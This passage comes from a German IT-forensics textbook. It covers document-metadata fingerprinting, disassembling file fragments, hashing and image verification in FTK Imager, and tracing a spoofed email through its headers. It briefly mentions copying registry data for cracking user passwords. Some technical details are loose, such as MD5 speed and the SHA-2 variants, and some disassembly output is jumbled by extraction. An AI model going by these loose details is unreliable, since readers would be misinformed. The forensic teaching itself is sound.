Target="https://en.wikipedia.org/wiki/ISO/IEC_8859-3" TargetMode="External"/><Relationship Id="rId38" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId39" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/> ... Hier finden sich sowohl die Verweise auf eingefügte Dateien als auch die Ziele 149
von eingebetteten Verlinkungen. Hierbei können Dateinamen Informationen verraten oder Deeplinks zu Seiten oder Dateien führen die andernfalls nicht auffindbar wären. So könnte ein Download-Link zB zu der PDF-Version einer Rechnung führen die andernfalls kaum auffindbar wäre oder das Vorhandensein bestimmter andernfalls nicht bekannter Unterordner auf Webseiten verraten. Und auch hier haben wir es mit vielen "würde", "könnte" und "wenn" zu tun. Natürlich würde Pass Nr. P12387321.jpg eine gültige Passnummer verraten aber wer sollte denn ein Bild so nennen, wenn Pass Lisa Müller.jpg für uns viel einfacher zu handhaben wäre und die Dateinamen Logo.png und Rechnung 20200123.pdf würden nicht wirklich viel verraten! user@caine ~$ cat first_artikel_ZFX/word/settings.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:settings xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:zoom w:percent="100"/><w:defaultTabStop w:val="709"/><w:compat></w:compat><w:themeFontLang w:val="" w:eastAsia="" w:bidi=""/></w:settings></span> ... auch diese Datei verrät nur Einstellungen wie zB die Zoom-Stufe und enthält somit weitere Faktoren die "zufällig" übereinstimmen müssten bei einer völlig anderen Datei. Also auch wieder weitere Punkte die ein IT-Forensiker verwenden kann um den "Fingerabdruck" der Datei weitere Details hinzuzufügen. user@caine ~$ cat first_artikel_ZFX/word/styles.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:styles xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="w14"><w:docDefaults><w:rPrDefault><w:rPr><w:rFonts w:ascii="Liberation Serif" w:hAnsi="Liberation Serif" w:eastAsia="Noto Sans CJK SC" w:cs="Lohit Devanagari"/><w:kern w:val="2"/><w:szCs w:val="24"/><w:lang w:val="de-DE" w:eastAsia="zh-CN" w:bidi="hiIN"/></w:rPr></w:rPrDefault><w:pPrDefault><w:pPr></w:pPr></w:pPrDefault></w:docDefaults><w:style w:type="paragraph" w:styleId="Normal"><w:name w:val="Normal"/><w:qFormat/><w:pPr><w:widowControl/><w:bidi w:val="0"/><w:jc w:val="left"/></w:pPr><w:rPr><w:rFonts w:ascii="Liberation Serif" w:hAnsi="Liberation Serif" w:eastAsia="Noto Sans CJK SC" w:cs="Lohit Devanagari"/><w:color w:val="auto"/><w:kern w:val="2"/><w:sz w:val="24"/><w:szCs w:val="24"/><w:lang w:val="de-DE" w:eastAsia="zh-CN" w:bidi="hi-IN"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Berschrift1"><w:name w:val="Heading 150
1"/><w:basedOn w:val="Berschrift"/><w:qFormat/><w:pPr><w:spacing w:before="240" w:after="120"/><w:outlineLvl w:val="0"/></w:pPr><w:rPr><w:rFonts w:ascii="Liberation Serif" w:hAnsi="Liberation Serif" w:eastAsia="Noto Sans CJK SC" w:cs="Lohit Devanagari"/><w:b/><w:bCs/><w:sz w:val="48"/><w:szCs w:val="48"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Berschrift2"><w:name w:val="Heading 2"/><w:basedOn w:val="Berschrift"/><w:qFormat/><w:pPr><w:spacing w:before="200" w:after="120"/><w:outlineLvl w:val="1"/></w:pPr><w:rPr><w:rFonts w:ascii="Liberation Serif" w:hAnsi="Liberation Serif" w:eastAsia="Noto Sans CJK SC" w:cs="Lohit Devanagari"/><w:b/><w:bCs/><w:sz w:val="36"/><w:szCs w:val="36"/></w:rPr></w:style><w:style w:type="character" w:styleId="Internetverknpfung"><w:name w:val="Internetverknüpfung"/><w:rPr><w:color w:val="000080"/><w:u w:val="single"/><w:lang w:val="zxx" w:eastAsia="zxx" w:bidi="zxx"/></w:rPr></w:style><w:style w:type="character" w:styleId="Betont"><w:name w:val="Betont"/><w:qFormat/><w:rPr><w:i/><w:iCs/></w:rPr></w:style><w:style w:type="character" w:styleId="ListLabel1"><w:name w:val="ListLabel 1"/><w:qFormat/><w:rPr><w:rFonts w:ascii="Barlow Condensed;sans-serif" w:hAnsi="Barlow Condensed;sans-serif"/><w:b/><w:i w:val="false"/><w:caps w:val="false"/><w:smallCaps w:val="false"/><w:strike w:val="false"/><w:dstrike w:val="false"/><w:color w:val="000000"/><w:spacing w:val="0"/><w:sz w:val="26"/><w:u w:val="none"/><w:effect w:val="none"/></w:rPr></w:style><w:style w:type="character" w:styleId="ListLabel2"><w:name w:val="ListLabel 2"/><w:qFormat/><w:rPr><w:rFonts w:ascii="Barlow Condensed;sans-serif" w:hAnsi="Barlow Condensed;sans-serif"/><w:b/><w:strike w:val="false"/><w:dstrike w:val="false"/><w:color w:val="000000"/><w:spacing w:val="0"/><w:sz w:val="26"/><w:u w:val="none"/><w:effect w:val="none"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Berschrift"><w:name w:val="Überschrift"/><w:basedOn w:val="Normal"/><w:next w:val="Textkrper"/><w:qFormat/><w:pPr><w:keepNext w:val="true"/><w:spacing w:before="240" w:after="120"/></w:pPr><w:rPr><w:rFonts w:ascii="Liberation Sans" w:hAnsi="Liberation Sans" w:eastAsia="Noto Sans CJK SC" w:cs="Lohit Devanagari"/><w:sz w:val="28"/><w:szCs w:val="28"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Textkrper"><w:name w:val="Body Text"/><w:basedOn w:val="Normal"/><w:pPr><w:spacing w:lineRule="auto" w:line="276" w:before="0" w:after="140"/></w:pPr><w:rPr></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Liste"><w:name w:val="List"/><w:basedOn w:val="Textkrper"/><w:pPr></w:pPr><w:rPr><w:rFonts w:cs="Lohit Devanagari"/></w:rPr></w:style><w:style w:type="paragraph" 151
w:styleId="Beschriftung"><w:name w:val="Caption"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/><w:spacing w:before="120" w:after="120"/></w:pPr><w:rPr><w:rFonts w:cs="Lohit Devanagari"/><w:i/><w:iCs/><w:sz w:val="24"/><w:szCs w:val="24"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Verzeichnis"><w:name w:val="Verzeichnis"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/></w:pPr><w:rPr><w:rFonts w:cs="Lohit Devanagari"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="VorformatierterText"><w:name w:val="Vorformatierter Text"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:spacing w:before="0" w:after="0"/></w:pPr><w:rPr><w:rFonts w:ascii="Liberation Mono" w:hAnsi="Liberation Mono" w:eastAsia="DejaVu Sans Mono" w:cs="Liberation Mono"/><w:sz w:val="20"/><w:szCs w:val="20"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Tabelleninhalt"><w:name w:val="Tabelleninhalt"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/></w:pPr><w:rPr></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Tabellenberschrift"><w:name w:val="Tabellenüberschrift"/><w:basedOn w:val="Tabelleninhalt"/><w:qFormat/><w:pPr><w:suppressLineNumbers/><w:jc w:val="center"/></w:pPr><w:rPr><w:b/><w:bCs/></w:rPr></w:style></w:styles> ... reiht sich ebenfalls in die forensisch brauchbaren Daten ein, denn hierin werden Absatz- und Zeichenformate definiert, die dann beispielsweise konkrete Angaben über verwendete Schriften und Schriftgrößen zugewiesen werden. Auch das verfeinert den Datei-Fingerabdruck und macht es nochmals unwahrscheinlicher das eine andere Datei zufällig die gleichen Merkmale aufweist vor allem, wenn diese Werte von den Standardwerten abweichen. Man sieht gut, wie viel Arbeit es macht sich mühsam aus diesen Fragmenten entsprechende Informationen zu extrahieren. Das Problem mit den Fragmenten aus der Dateimitte Den Dateifragmenten vom Dateianfang konnten wir immer zumindest ein paar Daten abringen und sei es nur der Name des Fotografen und dessen Webseite sowie die verwendete Kamera oder die verwendeten Schriften und Programme oder Link-Ziele und Dateinamen, Auflösung und Farbtiefe, Zeitangaben, etc. Wir haben gelernt, dass textbasierte Daten einfach zu lesen sind und so ihre Informtionen direkt preisgeben. Darum sind hierbei auch Fragmente egal aus welchem Teil der Datei brauchbar. Unter Text-Dateien fallen natürlich diverse Formate wie XML, YAML, INI- und CONF-Dateien, etc. 152
Binärdaten sind dagegen einfach nur eine Ansammlung von aneinandergereihten Zahlenwerten zwischen 0 und 255 und erst das Dateiformat verwandelt diese Informationen in etwas sinnvolles. Daher sehen wir uns von folgende zwei Beispiele an: user@caine ~$ ndisasm 512b/middle_artikel.txt 00000000 C3 ret 00000001 B66E mov dh,0x6e 00000003 6E outsb 00000004 656E gs outsb 00000006 206461 and [si+0x61],ah 00000009 7320 jnc 0x2b 0000000B 6C insb 0000000C 61 popa 0000000D 7465 jz 0x74 0000000F 696E697363 imul bp,[bp+0x69],word 0x6373 00000014 686520 push word 0x2065 00000017 41 inc cx 00000018 6C insb 00000019 7068 jo 0x83 0000001B 61 popa 0000001C 626574 bound sp,[di+0x74] 0000001F 206765 and [bx+0x65],ah 00000022 6E outsb ... 000001F9 0A4469 or al,[si+0x69] 000001FC 657365 gs jnc 0x264 000001FF 73 db 0x73 Das Programm ndisasm interpretiert eine Datei als Programm und rechnet anhand der Binärdaten in der Datei die Assembler-Anweisungen zurück. Das Problem dabei ist allerdings, dass dies wie wir hier sehen auch mit einem Teilstück einer Textdatei klappt! user@caine ~$ ndisasm 512b/middle_exif.jpg 00000000 53 push bx 00000001 B34C mov bl,0x4c 00000003 06 push es 00000004 9D popf 00000005 9A005CD213 call 0x13d2:0x5c00 0000000A 45 inc bp 0000000B 349A xor al,0x9a 0000000D 6210 bound dx,[bx+si] 153
0000000F 00000014 00000017 00000018 0000001B 0000001D 0000001E 00000021 00000023 ... 000001FD 000001FE 000001FF 9A858D48C6 A26354 4B 226A6D 2B1A 4A 18447A D4C8 6A01 call 0xc648:0x8d85 mov [0x5463],al dec bx and ch,[bp+si+0x6d] sub bx,[bp+si] dec dx sbb [si+0x7a],al aam 0xc8 push byte +0x1 EE F9 4E out dx,al stc dec si Genau so ist dies auch mit dem 512 Byte großen Stück aus der JPG-Datei möglich. Wir können also Daten auf binärer Ebene als alles Mögliche interpretieren. Danach müssen wir versuchen die Ergebnisse zu verifizieren und entscheiden ob diese möglich und richtig sind. Ich habe für dieses Beispiel bewusst einen Disassembler gewählt - man müsste den Code betrachten und dann abschätzen, ob dies Teil eines Programmes sein könnte wobei auch oft zur Tarnung von Schadware sinnloser Code eingefügt wird um eine Erkennung durch Antivirensoftware und ein eventuelles Reverse-Engineering zu erschweren. Außerdem muss ein Kommando nicht genau an der Sektorgrenze beginnen und so müsste man versuchen ob der Assembler-Code mehr Sinn ergibt, wenn man diesen ab dem 2. oder 3. oder 4. Zeichen disassembliert. Dieses Fragment beginnt mit 53 B3 4C 06. Dies entspricht den Assembler-Anweisungen push bx, mov bl,0x4c und push es. Würden wir die ersten 2 Bytes auslassen dann erhalten wir für 4C 06 folgenden Assembler-Code: user@caine ~$ ndisasm 512b/middle_exif.jpg 00000000 4C dec esp 00000001 06 push es ... Je nach Beispiel kann sich ein solcher Versatz einige Zeilen betreffen und nicht nur wie hier eine einzige. Sie sehen, dass Assembler-Anweisungen ein Zeichen oder mehrere Zeichen lang sein können. Dies gilt auch für alle möglichen Werte in anderen binären Dateiformaten. Genau das verkompliziert weitere Tests denn bevor man überhaupt ein Dateiformat anwenden kann muss man sich auch Gedanken machen wo denn ein Einstiegspunkt sein könnte und ob Felder in den Binärdaten eventuell abgeschnitten und damit unvollständig sind. 154
Dieser Code sieht schon relativ "wild" aus und wird eher nicht zu einem Programm gehören aber dennoch müsste man sich das im Detail ansehen. Genau das gleiche erwartet uns bei allen anderen Datentypen. Wenn wir zB die ersten 32 KB der TXT-Datei in unser Bitmap-Bild einfügen sehen wir: Hier werden Sie mit höchster Wahrscheinlichkeit kein sinnvolles Bildergebnis herausbekommen egal wie Sie an den Werten für Breite, Höhe und Bittiefe auch drehen. Sollten Sie nichts Besseres vorhaben, dann können Sie gerne ein paar Tage lang alle möglichen Bilder generieren und prüfen. Eventuell verstecken sich ja doch geheime Botschaften in meinen Artikeln... Was uns hier nun relativ schnell klar werden sollte ist, dass wir hier viele Möglichkeiten haben die es auszuprobieren gilt. Dies ist nicht nur zeitaufwendig, sondern führt auch nicht zwangsläufig zum Erfolg denn es kann sich immer noch um ein exotisches Dateiformat einer Eigenentwicklung handeln oder das Datenfragment enthält verschiedenste Datenreste unterschiedlicher Dateien. Dies kann dadurch entstehen, dass eine Datei über den Speicherplatz einer nicht sicher gelöschten Datei geschrieben wird und diesen nicht vollständig ausfüllt. In diesem sogenannten Slack-Space bleibt dann ein Fragment der alten Datei erhalten die sich dann mit dem Ende der neuen Datei mischt. Da wir die Informationen wie zB Dateilänge oder Dateityp nicht haben können wir auch nicht wissen wieviel Byte gelesen werden müssen (wie beim BMP) oder bis zu welchem Marker (wie beim JPEG). Somit kann ein solches Fragment auch 155
nicht immer als Ganzes zu betrachten sein was die Komplexität der Aufgabe nochmals erhöht. Dennoch zahlt es sich oftmals aus sich mit beschädigten Dateien die zB durch einen Datei-Carver wiederhergestellt wurden etwas zu beschäftigen. Vor allem wenn der Dateianfang intakt ist kann man oftmals mit relativ geringem Aufwand noch etwas finden. Da Carver bzw. RAW-Recovery Tools nach Dateisignaturen suchen, ist dies auch in der Regel der Fall. Daher soll und darf ein IT-Forensiker auch nicht aufgeben nur weil eine Datei sich nicht mit einem Doppelklick öffnen lässt. Natürlich muss dieser Aufwand auch zielführend sein und auf die Beantwortung einer konkreten Frage abzielen bzw. möglicherweise dazu führen. Wenn Sie also an einem Fall von einem Hackerangriff arbeiten der letzten Woche passiert ist, wird kein Kunde die Analyse von EXIF-Daten aus drei Jahre alten JPEG-Fragmenten freigeben oder bezahlen. Eine derart aufwendige Aufgabe sollte auch nicht das erste Mittel sein, sondern eher erst dann zum Einsatz kommen, wenn andere Optionen ausgeschöpft sind. 156
Hashing einzelner Dateien und ganzer Ordner Oftmals wollen wir nach Veränderungen und Manipulationen suchen. Hierbei ist es einfacher Hash-Werte zu vergleichen als die Dateiinhalte. Aber sehen wir uns zuerst an was Hashes sind, wo diese eingesetzt werden und welche Algorithmen es gibt. Eine Hashberechnung ergibt einen Hashwert von konstanter Länge unabhängig davon wie lang die Eingabedaten waren. Damit können wir mit einem relativ kurzen Wert beliebig komplexe Daten vergleichen. Darum wird auch ein Hash nach dem Klonen von Datenträgern gebildet und gespeichert um dann Manipulationen ausschließen zu können. Hashes werden aber unter anderem noch dazu eingesetzt Passwörter zu speichern. Entsprechende Hash-Berechnungen sind so konzipiert, dass man den Prozess nicht umdrehen kann. Somit kann man gehashte Passwörter nicht entschlüsseln, sondern nur in einem vergleichenden Verfahren knacken - aber dazu später mehr! MD5 (Message Digest) ... dieser Algorithmus wurde 1991 entwickelt und ergibt einen 128-bit Hash. Weil heutzutage mit relativ günstiger Hardware hunderttausende MD5-Berechnungen pro Sekunde möglich sind, gilt er als nicht mehr sicher! SHA (Secure Hash) ... gibt es in den Varianten SHA-0 bis SHA-3. SHA-0 hatte einen Fehler und gilt als unsicher. SHA-1 ergibt einen 160-bit Hash und ist wie MD5 ähnlich einfach zu knacken und gilt daher als unsicher. SHA-2 teilt sich in SHA256 und SHA512. SHA-3 wurde 2012 entwickelt und ist robuster als SHA-2. Laden Sie die E01- und E02-Datei von folgendem Beispiel herunter: https://www.cfreds.nist.gov/Hacking_Case.html Wenn Sie die nun in FTK Imager, wie zuvor gezeigt, das Image hinzufügen reicht es die E01-Datei auszusuchen. Das ist ein geteiltes Image und FTK Imager erkennt die weiteren Teile automatisch und fügt dies hinzu. Das erste was wir noch so einem Import machen sollten ist das überprüfen ob die Daten vollständig und nicht verändert sind. 157
Es kann immer zu einem Fehler auf einer Platte kommen und ein einziger defekter Sektor reicht schon und das Image ist nicht mehr vertrauenswürdig. Das E01 bzw. Expert Witness Format hat in den Daten gleich einen Hash zur Überprüfung eingebettet. Klicken Sie das zu prüfende Image mit rechts an und wählen Sie den Punkt Verify Drive/Image: Eine solche Verifikation kann je nach Größe des Datenträgers bzw. Images sogar einige Stunden dauern. Die Hashberechnung muss das ganze Image in Blöcken lesen und daraus dann stückweise den Hash ermitteln. Daher dauert dies entsprechend lange. Auch beim Imaging werden bereits zwei solcher Hashberechnungen gemacht - eine am originalen Datenträger und eine zur Verifikation am Image. Den aktuellen Fortschritt sehen Sie in folgenden Dialog: 158
Nachdem diese fertig ist, sehen Sie das Ergebnis: Wenn das Image verifiziert ist, können wir mit unserer Auswertung beginnen. Mit einem Rechtsklick und dem Punkt Image mounting können wir dann das Image als schreibgeschützte Festplatte in Windows einbinden. Eine weitere Anwendung habe ich eingangs schon erwähnt - wir können alle Dateien in einem Ordner hashen und dann mit einem anderen Vergleichen. 159
So können wir zB die Installationen von Programmen vergleichen. Einmal die Ordner auf einem Infizierten System und einmal die Ordner auf einem identen aber sauberen System. Wir nutzen dies auch bei der Malware-Analyse indem wir Ordner und Unterordner hashen, das Ergebnis exportieren und dann in der VM die Malware starten. Wenn wir dann wieder alle Dateien hashen und die Ergebnisse vergleichen, wissen wir welche Dateien die Malware verändert. Aber auch dazu gibt es später mehr. Hier finden wir ein Tool bei NirSoft - HashMyFiles kann einzelne Dateien, einzelne Ordner oder ganze Ordnerstrukturen mit verschiedensten HashVerfahren analysieren. Hierbei werden für jede einzelne Datei die Hash-Werte errechnet. Öffnen Sie das Tool und klicken Sie zB auf File -> Add Folder: Nachdem Sie den Ordner ausgewählt haben, klicken Sie auf OK und die HashBerechnung startet: 160
Danach haben Sie über den Rechtsklick einige Optionen: Das Exportieren in einen HTML-Report oder das Kopieren oder Speichern der ausgewählten Einträge erzeugt folgenden Report: 161
bzw. eine Tabulator-getrennte Liste mit den entsprechenden Feldern. Über Copy MD5 bekommen Sie nur den oder die MD5 Hash-Wert(e) in die Zwischenablage kopiert und können diese Information(en) dann in Ihren Bericht einfügen. Sie können mit diesem Tool natürlich auch die Hash-Werte für ein ganzes Image errechnen aber die vielen verschiedenen Hashberechnungen können länger dauern und Sie bekommen einzelne Hash-Werte für die einzelnen Teile bei einem gesplitteten Image. 162
E-Mail - Analyse In unserer digitalen Welt sind E-Mail s ein sehr wichtiges Kommunikationsmedium und für eine forensische Untersuchung enthalten sie eine Menge nützlicher Informationen wie zB: > > > > IP-Adressen Verwendete Server Zeitstempel teilweise sogar den Rechnernamen von dem eine E-Mail versendet wurde Hierbei gibt es zwei Arten eine E-Mail zu versenden - über E-Mail-Clients wie Outlook oder Thunderbird und über Webmail wie zB bei Gmail. Dabei folgt der Versand einer E-Mail immer diesem Schema: 1. Der Versender sendet die E-Mail an den SMTP-Server seines Anbieters. zB smtp.hackermail.com 2. Der Absender-SMTP wertet die E-Mail aus und ermittelt den Empfänger. zB mark.b@post.cz 3. Der SMTP prüft dann über eine DNS-Abfrage welcher Mailserver (MX-Record) für post.cz in unserem Beispiel zuständig ist. 4. Der DNS-Server antwortet dann mit dem entsprechenden Eintrag. zB: mail.post.cz 5. Dann baut der SMTP des Absenders zum Mailserver des Empfängers eine Verbindung auf und überträgt die E-Mail. 6. Der Mailserver des Empfängers ordnet die E-Mail dann in ein Postfach ein. 7. Der Empfänger kann die E-Mail dann über POP3 herunterladen oder über IMAP darauf zugreifen. Die Mailheader enthalten dann all diese und einige weitere Informationen. Im Grunde sind dies nur Textzeilen vor dem eigentlichen Inhalt der E-Mail und daher sind diese auch sehr einfach zu analysieren. Den Quelltext einer jeden E-Mail kann man sich von seinem Mailprogramm als auch in den meisten Webmail-Umgebungen anzeigen lassen. Dabei muss man jedoch aufpassen welchen Header man betrachtet - eine Mail kann natürlich ältere, zitierte Nachrichten enthalten und das macht den Quelltext nicht gerade übersichtlicher. Ich verwende hier ein älteres Beispiel aus einem meiner anderen Bücher, weil wir hier gut die Informationen sehen die man finden kann. 163
Im Grunde können Sie eine E-Mail auch einfach in einem Texteditor öffnen um die Header zu analysieren. Return-Path: <b.gates@microsoft.com> X-Original-To: irgendwer@domain.com Delivered-To: xyyyxxyy@xxyyyyy.kasserver.com Received: from xxxxx.webline-services.com (xxxxx.webline-services.com) by xxyyyyy.kasserver.com (Postfix) with ESMTPS id DEFFD2CE0033 for <irgendwer@domain.com>; Sun, 16 Dec 2018 08:08:42 +0100 (CET) Authentication-Results: xxyyyyy.kasserver.com; dkim=fail reason="signature verification failed" (2048-bit key; unprotected) header.d=hackenlernen.com header.i=@hackenlernen.com header.b=JXgEklUE; dkim-atps=neutral DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=hackenlernen.com; s=default; h=To:From:Subject:Content-Transfer-Encoding: MIME-Version:Content-Type:Sender:Reply-To:Date:Message-ID:Cc:Content-ID: Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe: List-Subscribe:List-Post:List-Owner:List-Archive; bh=DZ71rNZ2eVUQrXooYizUH4pkaKeB1zOoXv+V8zGFJnw=; b=JXgEklUEifIYBWpAqAYcsi+2V2 wfW7YsVLRlerI5xaIihaJslGMCI3zEUNFrLTjgu4wGuxDhOGB/ekluiA280yKMfmH7IulDyaEE4Qu wKllrFG/osDhgjrrc/zmYNBfqCqFuuJ2MwTThyBROV1m6WvE6L+JSdOWRuvydq3O9kphRLNpQKDSh hA8QJWMsvQJEx0Sqc2EWdwSj1KSneapY8b36SCTRMGqnJ1YLLcfCIYviJnSFRZVm5Rt1aZKrl0j35 aysyykH5Uim/mtpm2S2POz/jFBcV857w9cId8MsoEh08r4m690WfcLQqwxIrZy64TvdmIPb26Wiuy XgOh8ttA==; Received: from static-111-222-333-444.net.upcbroadband.cz ([111.222.333.444]:56484 helo=marks-mac-pro.local) by xxxxx.webline-services.com with esmtpa (Exim 4.91) (envelope-from <b.gates@microsoft.com>) id 1gYQXY-009m8p-M9 for irgendwer@domain.com; Sun, 16 Dec 2018 02:08:40 -0500 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 Subject: =?utf-8?q?=C3=9Cberweisung_=C3=BCber_100=2E000=2E000_EUR?= From: b.gates@microsoft.com To: irgendwer@domain.com X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - xxxxx.webline-services.com X-AntiAbuse: Original Domain - domain.com 164
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - microsoft.com X-Get-Message-Sender-Via: xxxxx.webline-services.com: authenticated_id: megahaxxor@hackenlernen.com X-Authenticated-Sender: xxxxxx.webline-services.com: megahaxxor@hackenlernen.com Message-Id: <20181216070842.DEFFD2CE0033@xxyyyyy.kasserver.com> Date: Sun, 16 Dec 2018 08:08:42 +0100 (CET) X-KasLoop: xyyyxxyy Qml0dGUgZHJpbmdlbmQgw5xiZXJ3ZWlzZW4= Falls Sie den Mailtext bzw. Body vermissen - die letzte Zeile, beginnend mit Qm bis zu w4= stellt den einzeiligen Mailtext dar. Das ist keine Verschlüsselung, sondern sogenanntes Base64 Encoding. Hierbei werden alle Zeichen auf die Zeichen A-Z, a-z, 0-9, + und / gemappt. Damit werden zB auch Binärdateien, wie PDF, ZIP, etc. die aus vielen nicht darstellbaren Zeichen bestehen würden, einfach in eine Textdatei integrierbar. Hier wurde genau das gleiche auch mit der eigentlichen Nachricht gemacht. Diese können wir auf verschiedenste Weise dekodieren - ich nutze hier zB Python: >>> import base64 >>> base64.b64decode("Qml0dGUgZHJpbmdlbmQgw5xiZXJ3ZWlzZW4=") b'Bitte dringend \xc3\x9cberweisen' Das Bytearray enthält \xc3\x9c und dies deutet darauf hin, dass der Text UTF-8 kodiert ist. Dabei werden Umlaute durch 2 Zeichen dargestellt. Wir könnten nun im Header nachsehen oder wir probieren es einfach aus: >>> base64.b64decode("Qml0dGUgZHJpbmdlbmQgw5xiZXJ3ZWlzZW4=").decode("UTF-8") 'Bitte dringend Überweisen' Wann immer Sie also im Mail-Quelltext auf seitenweise "Buchstabensalat" treffen, handelt es sich meist um ein Bild, eine ZIP-Datei, ein PDF oder einen sonstigen Dateianhang. Den können Sie dann wie gezeigt in ein Bytearray umwandeln und dann einfach in eine Binärdatei schreiben. Aber wenden wir uns dem Headerdaten zu: Ziemlich am Ende finden wir folgende Zeilen: 165
From: b.gates@microsoft.com To: irgendwer@domain.com Eigentlich ist das der Anfang, denn die Mail-Header wachsen quasi von unten nach oben - jede Instanz die die Mail durchläuft fügt ihre Header-Ergänzungen von dem aktuellen Header an. Wir müssen also von unten nach oben lesen. Hier sehen wir, dass irgendwer@ domain.com vermeintlich von b.gates@microsoft.com eine E-Mail bekommen haben soll. Ganz am Ende finden wir zB eine Zeitangabe wann die Mail erstellt wurde: Date: Sun, 16 Dec 2018 08:08:42 +0100 (CET) Darüber finden wir die X-AntiAbuse-Header und diese zeigen, dass das nicht so ganz stimmen kann. So finden wir zB folgende Zeilen: X-Get-Message-Sender-Via: xxxxx.webline-services.com: megahaxxor@hackenlernen.com X-Authenticated-Sender: xxxxxx.webline-services.com: megahaxxor@hackenlernen.com authenticated_id: Hier wird klar gesagt, dass der Absender sich als megahaxxor@hackenlernen.com am Versender-SMTP authentifiziert hat. Außerdem kennen wir nun den Provider. Die Domain webline-services.com gehört zu einem kleinen amerikanischen Hoster. Warum sollte Microsoft ihre Webpräsenz an so einen Hoster auslagern, wenn sie selber genug Server haben? Auch das macht keinen Sinn. Die Seite hackenlernen.com hat die IP 104.153.45.24 und diese gehört laut Whois-Eintrag der Firma Webline Services. Auch das bestätigt uns, dass diese Mail nicht von microsoft.com stammt denn deren IP ist eine völlig andere. Die Zeile Content-Type: text/plain; charset="utf-8" bestätigt unsere Annahme, dass der Text UTF-8 kodiert war. Lesen wir weiter finden wir folgende Zeilen: 166
Received: from static-111-22-33-44.net.upcbroadband.cz ([111.22.33.44]:56484 helo=marks-mac-pro.local) by xxxxx.webline-services.com with esmtpa (Exim 4.91) Der Server xxxxx.webline-services.com hat die Übertragung der E-Mail zum Versand vom PC static-111-22-33-44.net.upcbroadband.cz mit der IP 111.22.33.44 erhalten und dabei wurde die Verbindung von einem Computer namens marks-mac-pro.local aufgebaut. Sie sehen also gut, dass die Angabe From im Header einfach zu fälschen ist. Diese wird zwar primär im Mail-Programm angezeigt aber es finden sich viele verräterische Informationen in den restlichen Header-Feldern. Der unterste Received-Eintrag ist der Absender, der oberste Received-Eintrag ist der Empfänger und falls es weitere dieser Einträge dazwischen gibt, sind diese von weiteren Mailservern die die E-Mail durchgereicht haben. Die Einträge die mit einem X beginnen wie zB X-Authenticated-Sender sind Kommentare oder Zusatzinfos von Mailservern und Spam-Filtern. Jeder dieser Einträge könnte weitere Informationen enthalten. Lesen Sie darum alle Einträge aufmerksam durch und versuchen Sie diese alle in ein Gesamtbild zu integrieren. Versuchen Sie doch als kleine Übung eine Spam-Email aus Ihrem Postfach zu untersuchen. Wir haben aber auch einige Probleme bei der Auswertung von E-Mails: > Es ist beinahe unmöglich temporäre E-Mail-Adressen zu tracken da diese einfach registriert werden können ohne Angabe von weiteren brauchbaren Daten wie einer Telefonnummer oder dergleichen. > Das TOR-Netzwerk kann zusätzlich zur Verschleierung der IP genutzt werden oder man kann darüber direkt Mails versenden. > Diverse Anbieter anonymer E-Mail sitzen in Ländern in denen Rechtshilfe sehr schwierig wird und oftmals loggen diese Firmen einfach keine Aktivitäten, weil die dortigen Gesetze dies erlauben. Damit würde selbst eine mögliche Rechtshilfe von dortigen Behörden nichts bringen. 167
Untersuchen der Windows Registry In der Windows-Registry befinden sich wichtige Informationen für den Betrieb des Systems und der Applikationen sowie Einstellungen, User, etc. Im Grunde wird alles was der User macht in der Registry erfasst. Die Registry ist eine hierarchische Datenbank, die alle diese Informationen in fünf virtuellen Ordner, Hives genannt, speichert. Unter jeden Hive finden sich dann Einträge und eine verschachtelte Struktur von Unterordnern und Einträgen. Die fünf Hives sind: HKEY_CLASSES_ROOT ... Informationen zu Dateitypen und den damit verknüpften Programmen HKEY_CURRENT_USER ... Informationen zum Betriebssystem, installierter Software und dem aktuellen User HKEY_LOCAL_MACHINE ... der Großteil der Informationen zum Betriebssystem und den installierten Programmen HKEY_USERS ... Konfigurationen und Userprofile aller User des Systems HKEY_CURRENT_CONFIG ... ist ein Pointer zu HKEY_LOCAL_MACHINE\System\CurrentControllSet\Hardware Profiles\Current worin sich dann Informationen für die Hardware befinden. Die Registry kann man auch in volatile und nicht volatile Daten aufteilen. So sind HKEY_LOCAL_MACHINE und HKEY_USERS auf der Festplatte gespeichert. Die weiteren Hives muss man sichern währen das System läuft. Auch das können wir mit FTK Imager über den Menüeintrag File -> Obtain protected files erledigen! 168
Dann öffnet sich folgendes Fenster: Hier wählen wir den Ordner aus und legen dann fest ob wir nur die Daten zum Knacken der Userpasswörter kopieren wollen oder die gesamte Registry. Mit einem Klick auf OK startet der Kopiervorgang: 169
